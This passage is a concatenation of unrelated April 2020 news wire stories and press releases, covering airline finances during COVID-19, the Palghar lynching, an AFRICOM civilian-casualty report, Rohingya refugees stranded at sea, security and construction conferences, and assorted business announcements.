to push back against Kurdish militants that Turkey associates with anti-Ankara separatists. Ever since, the military has launched several other wholesale invasions into Syria. The people, whom the Observatory said were displaced by the Turkish forces, were targets of so-called Operation Peace Spring that Ankara waged against Syria late last year. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Scientists may have stumbled upon a cure for the misery caused by obsessive compulsive disorder. While investigating auto-immune diseases, experts accidentally found a protein which causes anxiety in humans. Researchers at two London universities found patients with OCD a mental health condition causing obsessive thoughts and compulsive behaviours such as convincing yourself that something horrific will happen to the people you love have six times more of the protein than those without the disorder. While investigating auto-immune diseases, experts accidentally found a protein which causes anxiety in humans. A stock image is used above [File photo] They tested immune cells from 23 OCD sufferers and 20 healthy volunteers. The scientists said the discovery of the protein, iMood, could radically change the lives of those with OCD, as it could be neutralised to provide a new treatment. Immunology expert Professor Fulvio DAcquisto, of Londons University of Roehampton, discovered iMood while examining mice for auto-immune disease research. Working alongside scientists from Queen Mary, University of London, he noticed mice became more anxious when higher levels of the protein were present. A report by Queen Mary said behaviour in mice who were given an antibody that blocked iMood quickly returned to normal with a couple of days. Professor DAcquisto said the discovery of antibodies to treat mental disorders could change patients lives because of a reduced chance of side effects. He said clinical trials could be carried out within five years. Therapy and antidepressants are often used to treat OCD. Norwegian Air could soon run out of cash unless debt plan approved FILE PHOTO: Passengers board a Norwegian Air plane in Kirkenes By Terje Solsvik and Victoria Klesty OSLO (Reuters) - Norwegian Air could run out of cash by mid-May unless its proposed financial rescue plan is approved by creditors and shareholders, the budget carrier warned on Monday. If bondholders, leasing companies and shareholders give a green light, the plan may help Norwegian survive the coronavirus outbreak, which has grounded 95% of its fleet, leaving just seven aircraft in operation. But the planned swap of up to $1.2 billion worth up debt into equity will hand majority ownership of 53.1% to the company's lessors, while bondholders would own 41.7%, leaving current shareholders with just 5.2%, the airline said. The move would allow Norwegian to tap government guarantees of 2.7 billion crowns (205 million pounds), which are dependent on the company reducing its ratio of debt to equity, and which would come on top of 300 million crowns it has already received. It is "critical to get access to the state aid package by mid-May before the company runs out of cash," Norwegian said in a presentation to investors. It warned that taking the company through an alternative route of bankruptcy proceedings in Norway would destroy much of the value left in the firm and that most creditors would likely recover little of their claims. The state package of guarantees should be sufficient to cover liquidity needs until the end of the year, although the high degree of uncertainty could lead to a further need for cash before operations normalise, Norwegian cautioned. Currently only paying invoices vital to its minimum operation, such as salaries for staff still employed and critical IT infrastructure, Norwegian has put payments for ground handling, debt and leases on hold. 'RIGHT DIRECTION' "This restructuring plan points in the right direction in saving the company from bankruptcy, and of course the dilution of the existing shareholders will be massive, but nonetheless that is I think what is appropriate and needed," Sydbank analyst Jacob Pedersen said. Story continues Rapid growth has made Norwegian Europe's third-largest low-cost airline and the biggest foreign carrier serving New York and other major U.S. cities. But with the expansion came debts and liabilities of close to $8 billion by the end of 2019. Last week, the company reported that four Swedish and Danish subsidiaries had filed for bankruptcy and it had ended staffing contracts in Europe and the United States, putting some 4,700 jobs at risk. Norwegian's shares were down 4.6% at 1100 GMT on Monday, and have plunged 85% year-to-date. The company aims to gradually emerge from the COVID-19 crisis with a reduced short-haul and long-haul network, and is targeting a return to normal operations in 2022, it said. After the crisis, the aim will be to operate 110-120 aircraft, down from 147 currently, while its earlier plans had been to expand to 168 planes. But the plan requires backing from bondholders in each of four separate votes planned for April 30, from shareholders at an extraordinary general meeting scheduled for May 4, and from leasing firms. The airline also plans to raise 400 million crowns from selling new shares. Sydbank's Pedersen said it was difficult to tell whether the different stakeholders would support the plan, but there were signs of hope. "It seems there are constructive negotiations going on ... it's not over yet for Norwegian, but I think we have to wait and see." (Editing by Jan Harvey and Mark Potter) DALLAS Southwest Airlines posted its first quarterly loss in nearly a decade and said Tuesday that the downturn in air travel that began in late February shows no signs of letting up. The airline said trip cancellations have pulled back from a peak in March but remain at levels that Southwest has never seen, as customers scrap plans to travel during the coronavirus pandemic. Southwest expects revenue to drop by 90% to 95% in April and May compared with a year ago, with only 5% to 10% of seats on its planes filled. With little revenue coming in, Southwest is burning through $900 million in cash a month. Bookings for April, May and June are weak, and they have been outnumbered by cancellations. Southwest hopes that as states ease their stay-at-home orders and some businesses and tourist destinations reopen, more people will want to fly maybe by midsummer, the traditional vacation season. We have decent bookings in place for July, CEO Gary Kelly told reporters. We just have no way to predict what cancellations will be. Airlines for America, a trade group for the leading U.S. carriers, said the average domestic flight in the past week had 17 passengers although there have been incidents of crowded planes with many passengers not wearing face masks. Airlines are starting to think about how to make passengers feel safe when the numbers rise. Kelly said Southwest is considering temporary measures including leaving all middle seats open, which would limit its planes to two-thirds of their normal capacity. Anything more, he suggested, is impossible without raising fares. Southwest and other airlines say they encourage passengers to wear masks. JetBlue said late Monday that it will be the first airline to require masks, beginning next week. Airlines say they are stepping up cleaning of planes between flights. The airline industry is lobbying to screen passengers to prevent them from getting on a plane if they have a fever. President Donald Trump said his administration was discussing the idea of screening passengers on some inbound international flights for both fever and the presence of the virus that causes COVID-19. Were looking at doing it on the international flights coming out of areas that are heavily infected, Trump said at the White House. We will be looking into that in the very near future. Trump said it has not been determined whether the federal government, the airlines or both would conduct the testing. Kelly said screening would help people feel comfortable about flying again. For now, passenger traffic is virtually zero, Kelly told employees a few days ago. He said again Tuesday that if traffic doesnt begin picking up by summer, Southwest could become a much smaller airline. That was a stunning statement, coming from the leader of an airline that says it has never laid off employees in 49 years of flying. Dallas-based Southwest has never reported a full-year loss, but analysts expect that streak to end in 2020. Southwest has canceled thousands of flights, asked employees to take unpaid time off, grounded many of its planes, and negotiated for $3.2 billion in federal aid to help cover payroll costs through September. The company has borrowed $6.8 billion this year, including the federal loan it has already received. Southwest said it plans to apply for a second round of federal help, a secured loan of $2.8 billion, and is shopping for money from other sources. As of last week, Southwest said, it had cash and short-term investments of $9.3 billion and mortgageable assets mostly planes worth nearly $8 billion to ride out the coronavirus crisis. With no immediate need for more planes, Southwest is overhauling its order book with Boeing. Southwest took another step to raise cash on Tuesday, disclosing plans to issue 55 million new shares of stock with underwriters getting an option for another 8.25 million shares, and issue $1 billion in debt that can be converted to stock. Those moves, which surprised analysts, sent Southwest shares lower initially, but they rallied to close up 2% although down 45% since the start of the year. Shares of Delta, American and United soared higher by between 9.8% and 11.4%. Southwest swung to a first-quarter loss of $94 million from a $387 million profit in the same period last year. The airline last reported a quarterly loss in September 2011. The loss, after excluding some items, was 15 cents per share not as bad as the loss of 48 cents per share that Wall Street expected, according to a survey by Zacks Investment Research. Revenue dropped 18% to $4.23 billion, as the number of passengers fell 21% three times faster than Southwest canceled flights. The average flight including the halcyon days of January and most of February was 68% full, an extraordinary drop of 13 points from early 2019. ___ Jill Colvin in Washington contributed to this report. [April 28, 2020] Merkle's Q1 2020 Digital Marketing Report Reveals Initial COVID-19 Impacts on Search, Social, and Display Ad Spend Across Major Platforms Merkle (www.merkleinc.com), a leading technology-enabled, data-driven performance marketing agency, released its Q1 2020 Digital Marketing Report (DMR), a quarterly research report that analyzes and highlights key metrics and trends within paid and organic search, paid social, and display ad spend. The report provides insights into year-over-year (YoY) growth for Amazon, Google (News - Alert), Facebook, Instagram, and YouTube, and illustrates the impacts emerging from the COVID-19 pandemic. The findings indicate overall positive performance for Amazon, steady growth for Facebook (News - Alert) and Instagram, and weaker growth for Google and YouTube. Merkle will be presenting a webinar on Thursday, April 30 at 2 p.m. ET to discuss the report and share forward-looking insights for marketers to assist in navigating the COVID-19 recovery phase. According to the report, Amazon Sponsored Products experienced impressive results in Q1 with 87% YoY click growth, and sales produced by the ads rising 70% YoY. Conversion rates for Amazon Sponsored Products ads were also about five times higher compared to Google Shoping ads in Q1. Additionally, Amazon Sponsored Brands spend growth accelerated significantly to 118% YoY. Analyzing paid search, Google search ad spend grew 11% YoY in Q1, down from 16% growth in Q4 2019, which is the weakest growth Merkle has seen over the eight years the DMR has been published. In March, growth fell to just 4% YoY, with travel advertisers cutting their budgets by nearly 80% by the end of the month. Retail spend, however, has trended flat to higher since early March. Visits to brand sites generated by organic search fell 15% YoY and phones produced 52% of organic search visits in Q1. Towards the end of the quarter, impacts from COVID-19 were mixed. Essential retailers like grocers and drugstores saw organic search grow 53% in mid-March. For the same period, non-essential retailers like apparel and specialty merchandisers saw organic clicks fall 31% YoY. "Each quarter we strive to provide a resource for marketers to help achieve their yearly goals, and the data is demonstrating that Q1 2020 is pivotal for most brands," said Mark Ballard, vice president of research at Merkle. "Mid-March marked a clear boundary between pre and post-COVID-19 results, but exactly how different these periods looked varied considerably depending on the channel, the industry of the advertiser, and other key factors. This impact is evident in our findings and further emphasizes the importance of using these data points to inform strategic planning and marketing initiatives moving forward." Analyzing paid social and display, the report highlights Facebook, Instagram, and YouTube's (News - Alert) YoY ad growth. Spending on Facebook ads, excluding Instagram, grew 19% YoY in Q1, and advertiser spending on Instagram grew 39%. For brands running ads on both Facebook and Instagram in Q1, Instagram accounted for 27% of total spending across the two platforms and 34% of impressions. Additionally, Instagram Stories ads accounted for 22% of Instagram spend and 28% of impressions in Q1. Spending on YouTube ads grew 19% YoY in Q1, down from 43% growth in Q4 2019. YouTube ad impressions fell 2% for the quarter while average CPM rose 21%. As with other channels, YouTube trending looked very different at the end of the quarter with many advertisers pulling back on spend or pausing campaigns entirely. To learn more about the Q1 2020 DMR and to download the full report, visit here. About Merkle Merkle is a leading data-driven, technology-enabled, global performance marketing agency that specializes in the delivery of unique, personalized customer experiences across platforms and devices. For more than 30 years, Fortune 1000 companies and leading nonprofit organizations have partnered with Merkle to maximize the value of their customer portfolios. The agency's heritage in data, technology, and analytics forms the foundation for its unmatched skills in understanding consumer insights that drive people-based marketing strategies. Its combined strengths in performance media, customer experience, customer relationship management, loyalty, and enterprise marketing technology drive improved marketing results and competitive advantage. With 9,600+ employees, Merkle is headquartered in Columbia, Maryland, with 50+ additional offices throughout the US, EMEA, and APAC. In 2016, the agency joined the Dentsu Aegis Network. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005667/en/ [ Back To TMCnet.com's Homepage ] New Delhi: In the Palghar mob lynching case of three men, including two saints Kalpavriksha Giri Maharaj (70 years), Sushil Giri Maharaj (35) and their driver Nilesh Yalgade (30), 35 policemen of Kasa Police station, under whose jurisdiction the incident took place, have been transferred. Notably, the three were attacked and killed on April 16 night upon rumours that they were kidnapping children to harvest organs, including kidneys. Kalpavriksha Giri Maharaj, Sushil Giri Maharaj, and Nilesh Yalgade, who was driving Maruti Eeco Van, were going to Surat to attend the funeral of a saint from their Kandivali ashram in Mumbai. Sources have informed Zee Media that medical reports of some of the accused in Palghar lynching case have revealed that they were drunk when they lynched two saints on April 16. The Palghar police has also provided security to Chitra Chaudhary, sarpanch of Gadchinchle village, in Palghar. Two armed constables have been appointed to provide round-the-clock security to Chitra. Chitra was receiving constant threat for her life because she is one of the few eyewitnesses in the case. The Maharashtra Police is trying hard to arrest those responsible for the heinous crime. "With this virtual format, we look forward to delivering the programming to more interested attendees and presenting more in-depth content on topics that matter to government security practitioners at the federal, state and local levels." Jake Parker, senior director of government relations, SIA The Security Industry Association (SIA) has announced the agenda and speaker lineup for the 2020 SIA GovSummit, its annual public policy and government security technology conference, taking place June 1-4. Due to concerns around the COVID-19 pandemic, SIA GovSummit will be held as a virtual event in 2020, and for the first time ever, the conference will be entirely free to all attendees from industry and government. SIA GovSummit 2020 will explore how security technologies can be leveraged to drive success in government missions. With this virtual format, we look forward to delivering the programming to more interested attendees and presenting even more in-depth content on the topics that matter to government security practitioners at the federal, state and local levels, said Jake Parker, senior director of government relations at SIA. As part of the 2020 virtual SIA GovSummit, we will be offering additional sessions and training on emerging technologies relevant to government and homeland security applications. SIA GovSummit brings together government security leaders with private industry technologists for top-quality information sharing and education on security topics affecting federal, state and local agencies. The 2020 virtual conference will be held in four three-hour segments from Monday, June 1, through Thursday, June 4. On Day 1 of SIA GovSummit, discussions will focus on policies and legislation impacting security technology. Attendees will enjoy a keynote presentation from Brian Harrell, assistant director of infrastructure security at the Cybersecurity and Infrastructure Security Agency (CISA) within the U.S. Department of Homeland Security (DHS), along with sessions on COVID-19 response and recovery, trends in federal procurement of security products and services, emerging applications and policy developments regarding facial recognition, the evolving landscape of data privacy policy and new federal guidance for counter-drone technology and what it means for site security. Day 2 of SIA GovSummit with a focus on securing government facilities will begin with a keynote presentation from Daryle Hernandez, chief of the Interagency Security Committee within DHS CISA. Additional sessions will address the changing needs of the mission-critical federal market, modernizing physical access control systems protecting government facilities, applying cybersecurity practices and standards to government facilities video surveillance systems, protecting commercial data centers sued by government systems and protecting government facilities with autonomous drone systems. On Day 3, attendees will explore emerging technologies for the public sector. During a special keynote session, The Women in Biometrics Awards Presents the Future of Biometrics in Government Security Applications, a panel of Women in Biometrics Awards recipients will look at how cutting-edge biometric applications are supporting homeland security missions. The Women in Biometrics Awards are a globally-recognized program co-founded by SIA and SecureIDNews and co-presented with sponsors IDEMIA, Biometric Update and the SIA Women in Security Forum that recognizes innovative women guiding the biometrics and security industry. Additional session topics will include leveraging fever detection and camera technology in COVID-19 recovery efforts, building todays security operations centers for tomorrow, the future of audio surveillance technology in law enforcement and security systems, emerging safety and security technology for government buildings and how passive weapons detection technology can enhance security operations. Day 4 focused on developing best practices for securing public spaces, facilities and venues will begin with keynote remarks from Kathleen McGuiness, auditor of accounts for the state of Delaware. Additional sessions will highlight digital strategy, security, safety and privacy in the age of digital transformation; the integration of safety and security into public-private partnerships; the latest trends and guidelines for deploying security barriers; and using drones and robotics technology in security operations The 2020 SIA GovSummit is free and open to all industry and government attendees. View the agenda and speakers page for additional details. Learn more about this premier virtual conference and register to attend for free here. About SIA SIA is the leading trade association for global security solution providers, with over 1,000 innovative member companies representing thousands of security leaders and experts who shape the future of the security industry. SIA protects and advances its members interests by advocating pro-industry policies and legislation at the federal and state levels, creating open industry standards that enable integration, advancing industry professionalism through education and training, opening global market opportunities and collaborating with other like-minded organizations. As the premier sponsor of ISC Events expos and conferences, SIA ensures its members have access to top-level buyers and influencers, as well as unparalleled learning and network opportunities. SIA also enhances the position of its members in the security marketplace through SIA GovSummit, which brings together private industry with government decision makers, and Securing New Ground, the security industrys top executive conference for peer-to-peer networking. Haji Hassan Group, a pioneer in the construction sector in Bahrain, has signed up as a strategic sponsor for this year's Gulf Construction Expo. The Northern Gulfs leading showcase for the building and construction sector, Gulf Construction Expo will be held under the patronage of HRH Prince Khalifa bin Salman Al Khalifa, Prime Minister of Bahrain, from October 5 to 7 at the Bahrain International Exhibition Centre, said the event organisers Hilal Conferences and Exhibitions (HCE). A major player in the region, Haji Hassan Group has established its reputation by delivering high-profile projects such as the Sitra Causeway, Bahrain International Circuit, Bahrain International Airport, Riffa footbridge, Four Seasons hotel, the Oncology Center at King Hamad University Hospital, and housing projects in Askar, Diyar Al Muharraq and Al Madina Al Shamaliya. Executive Director Hani Hassan Al A'ali said: "Here at Haji Hassan Group, we believe in celebrating our achievements and connecting and sharing our plaudits and praise with our staff." "The Gulf Construction Expo is our national and international platform which provides us the opportunity to promote the diversity of the group's products across all our joint businesses," he added. The groups current ongoing projects include Shaikh Zayed Highway, Saar Interchange, Jasra Interchange, Bapco Modernization Program, King Abdulla Medical City, Shaikh Khalifa Bin Salman Highway, Daytona Towers and Iconic Mall and Carpark Project. Amongst the groups companies that will be represented at Gulf Construction Expo are Arabian Parts Company, Bahrain Asphalt, Arabian Chemical Industries (Isola), Haji Hassan Readymix, Bahrain Pipes, Bahrain Precast Concrete, Bahrain Blocks and Haji Hassan Reinforcement. HCE Managing Director Jubran Abdulrahman said: "Haji Hassan Groups presence at Gulf Construction Expo gives visitors a chance to see a diverse company which specialises in the essential resources for the construction sector such as building materials, precast concrete, readymix concrete, plastic and sewage pipes, construction chemicals, concrete blocks, steel reinforcement, rubber and mechanical engineering spare parts." The Gulf Construction Expo is considered Bahrains flagship event to promote the construction and building materials and services sector. It is a specialist event to access the regions most influential architectural, engineering and design communities of Saudi Arabia, Bahrain and Kuwait. The annual event features companies from Bahrain, Saudi Arabia and products from a further 15 countries. The expo also carries with it the strategic sponsorship of Tamkeen alongside sector sponsors Universal Rolling for the Metal and Steel sector and Arcal for the architectural aluminium sector.-TradeArabia News Service SHANGHAI, April 27 (Xinhua) -- Starbucks China on Monday announced a strategic partnership with leading investment firm Sequoia Capital China in a bid to propel the company's digital innovation in the country. Starbucks China will make strategic co-investments with Sequoia Capital China, and commercial partnerships with next-generation food and retail technology companies, the coffee chain giant said. The strategic partnership with Sequoia Capital China "adds another powerful engine to drive our relentless pursuit of digital innovation around the world," said Kevin Johnson, president and chief executive officer of Starbucks, adding that the partnership will contribute to the company's efforts on pioneering innovative solutions "that could reimagine the global retail landscape." Last month, Starbucks China announced a plan to build a coffee innovation park in eastern China's Jiangsu Province. NITI Bhavan sealed after employee tests positive for COVID-19 India oi-Vicky Nanjappa New Delhi, Apr 28: An employee at the NITI Bhavan has tested positive for COVID-19. This was informed to the authorities at 9 am today. NITI Aayog said that it is following all due protocols as per the Ministry of Health guidelines. The building has been sealed, NITI Aayog also said. New guidelines for home isolation of people with very mild symptoms of coronavirus It may be recalled that last week, a Lok Sabha staffer had tested positive for coronavirus. This was the first such case reported from the Lok Sabha, which has around 3,000 staffers. The staffer was not working in the Parliament complex, but in one of the establishments of the Lok Sabha secretariat, at 36 GRG Road, the report also said. It also said that the staffer had been at home since the budget session of Parliament was adjourned on March 23. He is said to have developed cough, fever and body ache around 10 days back. On April 18 he went for a check up and on April 20, the report came and he tested positive. MOGADISHU (Reuters) - The United States said on Monday it had killed two civilians and injured three in an air strike in Somalia early last year, in a rare acknowledgement of civilian casualties from U.S. Africa Command military operations in the Horn of Africa country. MOGADISHU (Reuters) - The United States said on Monday it had killed two civilians and injured three in an air strike in Somalia early last year, in a rare acknowledgement of civilian casualties from U.S. Africa Command military operations in the Horn of Africa country. The deaths were mentioned in a debut quarterly assessment report by AFRICOM on allegations of civilian casualties raised in connection with its operations against Islamist militants in Somalia, Libya and other African countries. "Regrettably two civilians were killed and three others injured in a February 2019 air strike. "We are deeply sorry this occurred," AFRICOM's commander, U.S. Army General Stephen Townsend, said in the report. The air strike was carried out in the vicinity of Kunyo Barrow in Somalia's Lower Shabelle region and the report said the intended target - two members of Somali Islamist group al Shabaab - were killed. The civilian deaths, it said, occurred as a result of U.S. or al Shabaab munitions that exploded during the air strike. It was the second known incident in which AFRICOM has acknowledged killing civilians in Somalia, where rights activists have accused it of long shrouding its operations in secrecy. The first was an air strike in April 2018 in El Buur in the Galgadud region of central Somalia in which AFRICOM reported it had unintentionally killed two civilians. The United States has been conducting air strikes in Somalia for years to help defeat al Shabaab, which seeks to topple Somalia's Western-backed central government and set up its own rule based on a own strict interpretation of Islamic sharia law. For nearly two decades al Shabaab has been waging a campaign of bombings and shooting attacks on military and civilian targets including hotels and traffic junctions both in Somalia and neighbouring countries like Kenya. A regional peacekeeping force, AMISOM, mandated by the African Union, also helps defend the Somali government. AFRICOM's move to publish quarterly assessment reports on civilian casualty allegations is a welcome step towards transparency, said Seif Magango, Deputy Regional Director for Eastern Africa at rights group Amnesty International. He added, though, that the United States must follow up with "accountability and reparation for victims and their families". (Writing by Elias Biryabarema; Editing by Mark Heinrich) This story has not been edited by Firstpost staff and is generated by auto-feed. The Air Force Thunderbirds perform at the Atlantic City Air Show in 2011. The Thunderbirds will fly in a joint formation with the Navy Blue Angels over Philadelphia, Trenton, and New York City on Tuesday in support of health-care workers. Read more Update: See the Navy Blue Angels and Air Force Thunderbirds fly over Philadelphia | Photos Health-care workers in and around Philadelphia will receive a loud thank-you Tuesday as the Navys Blue Angels and the Air Forces Thunderbirds will fly over the city in a display of military solidarity to honor those on the front lines of the fight against the coronavirus. Beginning around 2 p.m., 12 fighter jets in a joint formation will fly over Philadelphia for about 20 minutes. According to the Pentagon, residents along the flight path can expect a few seconds of jet noise as the aircraft pass overhead, flying in close formation. We are truly excited to take to the skies with our Navy counterparts for a nationwide tribute to the men and women keeping our communities safe. Air Force Lt. Col. John Caldwell, the Thunderbirds flight leader and the mission commander for the flyover, said in a statement. Officials urge residents along the flight path to watch the flyover from home and refrain from traveling to landmarks and hospitals or gathering in large groups.The walkway along the Benjamin Franklin Bridge will close Tuesday from noon until 3 p.m. to prevent onlookers. Heres everything you need to know to watch the joint flyover. At what time does the Blue Angels, Thurnderbirds flyover start? The joint mission begins at noon in New York City, with a flyover of the George Washington Bridge. The planes will maneuver over all five boroughs, the New York City suburbs, and Newark, N.J., for roughly 40 minutes before landing at Joint Base McGuire-Dix-Lakehurst The planes will take off about an hour later and fly over Trenton and Levittown about 1:45 p.m. before turning south. The Philadelphia portion of the flyover will begin at roughly 2 p.m. and last about 20 minutes, maneuvering over the city and some suburban areas before heading south over Gloucester and Salem Counties and across the Delaware River over Wilmington about 2:15 p.m. Whats the flight path of the flyover? How many jets will take part in the flyover? The formation will consist of 12 fighter jets six of the Blue Angels F-18C/D Hornets and six of the Thunderbirds F-16C/D Fighting Falcons. According to the Washington Post, flying the squadrons cost at least $60,000 per hour. In a statement, the Air Force said taxpayers will incur no additional cost due to the flyover, which fulfills training requirements for both teams to maintain proficiency. Whats the weather expected to be like? After days of dreary weather, the sun will be out in the Philadelphia area. According to the National Weather Service, it will be about 62 degrees under mostly cloudy sunny skies in Philadelphia area at between 1:45 p.m. and 2:15 p.m., the timing of the flyover that will begin over the Trenton area. Officials however say that the good weather the best day well have until the weekend does not mean you should view the aerial salute from anywhere but your home and stress everyone should maintain safe social distance. Impact to Philadelphia International Airport will be minimal Thanks to the low volume of air traffic, the flyovers impact to travelers in and out of Philadelphia International Airport will be minimal, according to Keith Burne, the airports chief operating officer. Landing aircraft typically line up east to west over New Jersey during their approach to the airport, and the demonstration path will pass north to south," said Brune. "There may be a one to two minute transition when the flight path changes from Center City to Wilmington, but that should not create delays for landing air traffic. Where else will the Blue Angels and Thunderbirds perform? Following Tuesdays flyovers, both the Thunderbirds and Blue Angels will perform over other cities, but neither flight team has released a full schedule. The Pentagon said several flyovers are planned over the coming weeks, with new demonstrations occurring every one to two days until mid-May. Citing an internal memo, the Post reported the two teams will fly jointly over Baltimore, Atlanta, Dallas, Houston, and Austin, Texas, but also split up for separate flyovers throughout the country. In order to reach the maximum number of Americans, some portions of America Strong will feature only the Blue Angels or the Thunderbirds, while others will include both teams flying in their signature Delta formations simultaneously, the Air Force said in a statement. The Blue Angels are based at Naval Air Station Pensacola, Fla., while the Thunderbirds are based at Nellis Air Force Base in Las Vegas. Buyers are taking a longer-term view despite the coronavirus uncertainty. Fitzroys' Chris James and Chris Kombi negotiated the sale of 122 Highfield Road for $1.38 million on a 4.4 per cent yield. A local investor purchased the 140 sq m, two-storey building. It's leased to the Dish & Spoon Cafe on a new 5+5+5-year lease returning $62,563 per annum plus outgoings and GST. "The tenant is the definition of a strong local operator with a captive audience," Mr James said. A ground floor shop at 869 Sydney Road has sold for $455,000. The fully renovated 105 sq m premises sold through Alex Ham and Andrew Greenway from Gross Waddell at a building rate of $4333 per sq m. The property is leased to two tenants, returning net rental of $32,400. Tullamarine A newly built warehouse at 3c/189c South Centre Road has sold and subsequently been leased through Colliers International's Corey Vraca and Mitch Purcell. The property fetched $925,000, on a strong building rate of $2605 per sq m and an initial yield of 4.3 per cent. It was leased for $112 per sq m. Elwood Located in the heart of Elwood's retail village, a small 146 sq m freehold shop sold for $1.54 million on a yield of 4.5 per cent. The property fetched a land rate of $9686 per sq m, Gross Waddell's Alex Ham and Michael Gross said. It was leased to Shagy's Pizza and purchased by a New South Wales investor. Anant Kumar Hegde, a former Union minister and the Bharatiya Janata Partys Uttara Kannada parliamentarian, has complained to Prime Minister Narendra Modi against Twitter, alleging that the microblogging site was interfering with free speech. India needs to develop an Indian version of Twitter to ensure sovereignty, Hegde, whose account was blocked earlier this week allegedly over communal content, said in a letter to Modi. HT has seen the letter dated April 25. Hegde, known for his controversial comments, said there has been selective targeting of several pro-India handles, which have been suspended or locked in the past few months. Pro-Indian, national interest think tanks run by decorated veterans who never indulge in any mudslinging but speak about subjects like data sovereignty are silenced by suspending accounts. Handle belonging to elected public representatives are suspended without notice, the letter said. Hegde alleged that handles spewing poison and passing objectionable comments about Prime Minister of India, home minister of India, chief ministers and other Indian establishment are promoted via paid advertisements. Attaching screen shots of various tweets, he also alleged that handles spreading discontent and fake news about Indian religions or elected representatives are not warned or blocked even after repeated complaints. Hegdes letter called for a probe into what he called motives behind such acts by Twitter. When contacted, Twitter said: We dont comment on individual accounts for privacy and security reasons. At Twitter, no one is above our rules. We enforce our policies judiciously and impartially for all users regardless of ones political beliefs. If we receive reports of potential rule violations, we will take action, as appropriate and pursuant with our enforcement approach, as detailed here. The Ekiti State Government on Monday confirmed four new cases of the coronavirus, with two children of ages 9 and 10 infected. At a briefing in Ado Ekiti by the COVID-19 committee, the commissioner for health, Mojisola Yahaya-Kolade, said the minors were suspected to have contracted the virus from the 45-year-old medical doctor. The doctor himself was confirmed to have contracted it from the female pregnant health worker who died after a cesarean section operation. In the four new cases, there were two children of ages 10 and nine who must have contracted it through the 45-year-old doctor and only active case before the new cases, Mrs Yayaha-Kolade said. They are all in the isolation centre. They are responding, doing well, stable and in high spirit. With this new development, we have 58 contacts to trace and we have started doing that. Blood samples have been taken and results are being awaited while the contacts tracing also continues. Mrs Yaya-Kolade said Ekiti does not have a community spread of the virus, noting the committee knew where the contacts came from. Meanwhile, the coordinator of the COVID-19 Task Force, Bolaji Aluko, clarified that the 1800 bags of rice donated to Ekiti by Federal Government would be sorted to separate the expired ones. We have not rejected or returned any rice to FG. The state will do sorting and separate the bad ones out of the consignment, he said. A similar action is also being taken in Ondo and Osun who are making efforts to check the donated rice before distributing to the public. Oyo State had reportedly concluded plans to return the bags of rice to the Federal Government after ascertaining that the product had expired. Mr Aluko also said the state government had begun the tracking of commuters who forcefully entered the state with a view to quarantine them. He urged residents in border towns to give information that could help in apprehending those crossing into the state illegally. Quarantine points have been provided in all the 16 local governments and to also demonstrate our seriousness, some pastors holding nocturnal church processions had been arrested and made to face the Magistrate courts, he said. According to Mr Aluko, the state will continue to distribute food supplements and other protective materials to citizens to help curb the menace. The index case who had contacts with a visiting American tourist, had since been treated and discharged. UN has urged Bangladesh to accept 500 Rohingyas, who are currently stranded in the Bay of Bengal. In a statement, UN said that the boats tried to enter Bangladesh early last week but were refused entry by the Bangladesh Navy and Bangladesh Coast Guard. The United Nations High Commissioner for Human Rights has urged Bangladesh to immediately allow two boats with 500 Rohingya refugees onboard to come ashore and receive necessary food, water and health care. The human rights group said in a statement on Saturday the boats have been trying to reach the shores of Bangladesh from the international waters since early last week. But the Bangladesh Navy and Bangladesh Coast Guard are not allowing them into the country, Dhaka Tribune reported. I am writing to request your urgent assistance to ensure a safe haven is found in a timely manner for hundreds of refugees and migrants currently stranded at sea, High Commissioner Michelle Bachelet said in a letter to Foreign Minister AK Abdul Momen. This is a human tragedy of terrible proportions. In a spirit of solidarity and at the beginning of the Holy Month of Ramadan, I appeal to you in the strongest terms to open your ports and allow the boats to land, read the April 24 letter, a copy of which was obtained by Dhaka Tribune. Also Read: Coronavirus update: Oxford hopes to get COVID-19 vaccine by September Also Read: COVID-19: China says all patients in Wuhan discharged The appeal was made after Momen said last Thursday that he would not allow any more Rohingyas into the country because Bangladesh is always asked to take care of the responsibility of other countries. He added that many Bangladeshis are returning home amid the COVID-19 pandemic, so we have no room to shelter any foreign people or refugees. His declaration last week raised alarm as it came only days after dozens of Rohingya died on a boat that waited at sea for two months before it could land. The two new boats are believed to be in international waters hoping to get an opportunity to reach Malaysia. The Malaysian navy turned back one boat last week and has increased patrols as it expects increased attempts to smuggle people into the country. Nearly one million Rohingya, who fled atrocities in their native Myanmar in 2018, are living in refugee camps in Bangladesh. In her letter, Bachelet further asked to ensure proper responses to refugees and migrants in distress at sea and avoid dangerous interception practices and collective expulsions, including pushing back boats. Also Read: WHO cautions countries to focus on health emergencies like malaria, polio along with COVID-19 For all the latest World News, download NewsX App Dr. Vincent Perciaccante is a managing partner and surgeon of South Oral & Maxillofacial Surgery, which has three locations serving patients in the greater Atlanta, Georgia, area. We formed this board because clinical autonomy is core to our ideology and we felt it important to have a strong clinical governance structure. U.S. Oral Surgery Management (USOSM) a specialty management services company that exclusively serves premier oral and maxillofacial surgeons has added three members to the USOSM Clinical Governance Board. Now comprised of 10 surgeons, the board advises USOSM and its partner practices on important clinical issues oral and maxillofacial surgeons encounter. Board members are selected based on leadership qualities, experience and expertise, and are asked to serve an initial two-year term. The new members are Drs. Vincent J. Perciaccante, J. David Johnson and P. Angie Rake, who will join the board, effective immediately. Our individual surgeon partners will always make their own clinical decisions, but they will receive the benefit of expert advice, support and advocacy from the USOSM Clinical Governance Board. We formed this board because clinical autonomy is core to our ideology and we felt it important to have a strong clinical governance structure, says Richard Hall, USOSM president and CEO. Our new board members will help us continue strengthening clinical excellence and leadership for all. Vincent J. Perciaccante DDS, FACS Atlanta, Georgia Dr. Vincent Perciaccante is a managing partner and surgeon of South Oral & Maxillofacial Surgery, a USOSM partner practice with three locations serving patients in the greater Atlanta, Georgia, area. In addition, he serves as an adjunct associate professor of surgery at Emory University School of Medicine, supervising surgery residents at Grady Memorial Hospital and the Atlanta VA Medical Center. In addition, Dr. Perciaccante is an accomplished author and public speaker. He has written on a wide variety of surgery topics for numerous textbooks and lectures regularly throughout the United States. Actively involved with a number of professional organizations, Dr. Perciaccante is a diplomate of the American Board of Oral and Maxillofacial Surgery (ABOMS), has served on its examination committee, and is currently a director of the ABOMS. In addition, he is a diplomate of the National Dental Board of Anesthesiology, a fellow of the American College of Surgeons and the American Association of Oral and Maxillofacial Surgeons (AAOMS), and a consultant to the Georgia Board of Dentistry. He also is a site visitor for the American Dental Associations Commission on Dental Accreditation (CODA), where he examines oral and maxillofacial surgery resident training programs. J. David Johnson, DDS 